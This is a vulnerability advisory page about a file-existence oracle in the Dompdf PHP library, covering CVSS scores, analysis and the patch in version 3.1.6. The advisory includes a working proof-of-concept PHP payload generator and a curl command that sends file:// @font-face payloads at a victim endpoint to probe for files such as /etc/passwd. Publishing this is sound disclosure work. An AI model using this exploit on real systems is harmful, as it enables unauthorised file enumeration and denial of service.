Is there a patch available for EUVD-2026-49997?

Yes, a patch is available for EUVD-2026-49997. Update the affected software to the latest version immediately.

Dompdf EUVD-2026-49997

Q: What is the CVSS score of EUVD-2026-49997?

EUVD-2026-49997 has a CVSS 4.0 base score of 2.3 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.5%.

| CVE-2026-55555 LOW

Observable Discrepancy (CWE-203)

2026-07-22 https://github.com/dompdf/dompdf

GHSA-7x2p-4jvh-6384

PHP Information Disclosure Oracle

2.3

CVSS 4.0 · Vendor: https://github.com/dompdf/dompdf

Severity by source

Vendor (https://github.com/dompdf/dompdf) PRIMARY

2.3 LOW

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

vuln.today AI

4.8 MEDIUM

Network-exploitable but AC:H due to memory-limit calibration requirement; C:L for file-existence oracle only; A:L for endpoint crash side effect.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L

4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/dompdf/dompdf).

CVSS VectorVendor: https://github.com/dompdf/dompdf

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Scope

Lifecycle Timeline

CVSS changed

Jul 28, 2026 - 20:22 NVD

2.3 (LOW)

Source Code Evidence Fetched

Jul 22, 2026 - 21:31 vuln.today

Analysis Generated

Jul 22, 2026 - 21:31 vuln.today

DescriptionCVE.org

Description

Dompdf is vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion.

The critical point of this flaw is the discrepancy in system behavior:

If the file exists: Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation.
If the file does NOT exist: The rendering engine fails quickly or ignores the import, and the memory limit is not reached.

This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of CHROOT restrictions.

Some factors impact the ability of attackers to exploit the vulnerability:

The attacker must be allowed to provide unrestricted and/or unsanitized HTML content.
System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error.
HTTP GET querystring or POST body must allow large data
Memory limits must be low enough that Dompdf can trigger an overflow
$_dompdf_show_warnings when set to true can bump memory usage

---

Example Scenario

1. Vulnerable System

A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.

Vulnerable Endpoint: http://example.com/index.php
Vulnerable Parameter: html_input (POST)

index.php simplified:

$dompdf = new Dompdf(new Options());
$dompdf->loadHtml($_POST['html_input']);
$dompdf->render();
$dompdf->stream("document.pdf");

2. Attack Generation

The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request.

Attacker's Local Script (payload_gen.php):

PHP

<?php

/**
 * Usage: php exploit.php <file_path> <iterations>
 * Example: php exploit.php /etc/passwd 5000
 */

// Check if the file argument was provided
if ($argc < 2) {
    echo "[-] Usage: php exploit.php <file_to_read> [iterations]\n";
    exit(1);
}

$file = $argv[1];
$iterations = isset($argv[2]) ? (int)$argv[2] : 5000;

function generate_payload($file, $iterations) {
    $css = "";
    $body = "";

    // We use @font-face to trick the engine into attempting a local file read
    for ($i = 0; $i < $iterations; $i++) {
        $css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n";
        $body .= "<span style=\"font-family:f{$i}\">.</span>";
    }

    return "<html><head><style>{$css}</style></head><body>{$body}</body></html>";
}

// Output the payload to stdout for piping
echo generate_payload($file, $iterations);

?>

3. Exploitation

The attacker pipes the malicious HTML into a curl request targeting the remote server:

php payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \

    --data-urlencode "html_input@-" \

    --output response.pdf

By analyzing the response.pdf file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.

Existent file:

Non-existent file:

Note that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists.

---

Impact

Information Disclosure (File Oracle via Reflected HTML): In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., .env files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.

AnalysisAI

File existence oracle in Dompdf allows remote unauthenticated attackers to enumerate sensitive server-side files by exploiting a behavioral discrepancy in CSS @font-face processing. Crafted HTML containing thousands of @font-face declarations referencing local paths via the file:// protocol causes PHP memory exhaustion only when the target file exists, producing a detectable crash signal versus a clean render for non-existent files. Publicly available exploit code exists (detailed in the GHSA advisory); no KEV listing at time of analysis, but exploitation requires only a public HTTP endpoint that passes unsanitized HTML to Dompdf. A vendor-released patch (v3.1.6) is available.

Technical ContextAI

Dompdf (composer package dompdf/dompdf) is a PHP HTML-to-PDF renderer widely used in web applications. The vulnerable code path lies in Stylesheet.php's resolve_url() method, which processes CSS font source references without validating the protocol scheme before attempting resource resolution. The @font-face CSS directive accepts a src: url() pointing to file:// URIs, causing Dompdf to attempt local file reads. When the same file:// reference is declared thousands of times across distinct @font-face families, and each referenced font is applied to a DOM element, Dompdf attempts repeated resolution of the local file. When the file exists, the engine allocates memory processing it with each iteration, eventually exhausting the PHP memory limit (PHP Fatal: Allowed memory size exhausted). When the file does not exist, processing fails early with negligible allocation, leaving memory pressure well below the limit. This timing and resource side-channel is classified as CWE-203 (Observable Discrepancy). The commit fix (75c39a0) adds protocol validation inside resolve_url() - checking the resolved path against configured allowed protocols and their rule callbacks before any resource load attempt, blocking file:// access when not explicitly permitted.

RemediationAI

The primary fix is upgrading Dompdf to version 3.1.6 or later, which adds protocol validation in Stylesheet.php's resolve_url() to reject disallowed protocol schemes (including file://) before any resource resolution attempt. The release is at https://github.com/dompdf/dompdf/releases/tag/v3.1.6 and the patch commit is https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4. As a compensating control before patching, applications should sanitize or restrict HTML input to a safe allowlist before passing it to Dompdf - specifically stripping @font-face declarations and file:// references from any user-supplied CSS. Alternatively, configure Dompdf's AllowedProtocols option to explicitly exclude the file:// protocol, which the patched version enforces programmatically. Raising PHP memory limits is NOT a recommended workaround - it increases the iteration count required but does not eliminate the oracle. Ensure $_dompdf_show_warnings is set to false in production to reduce incidental memory amplification. The advisory is at https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384.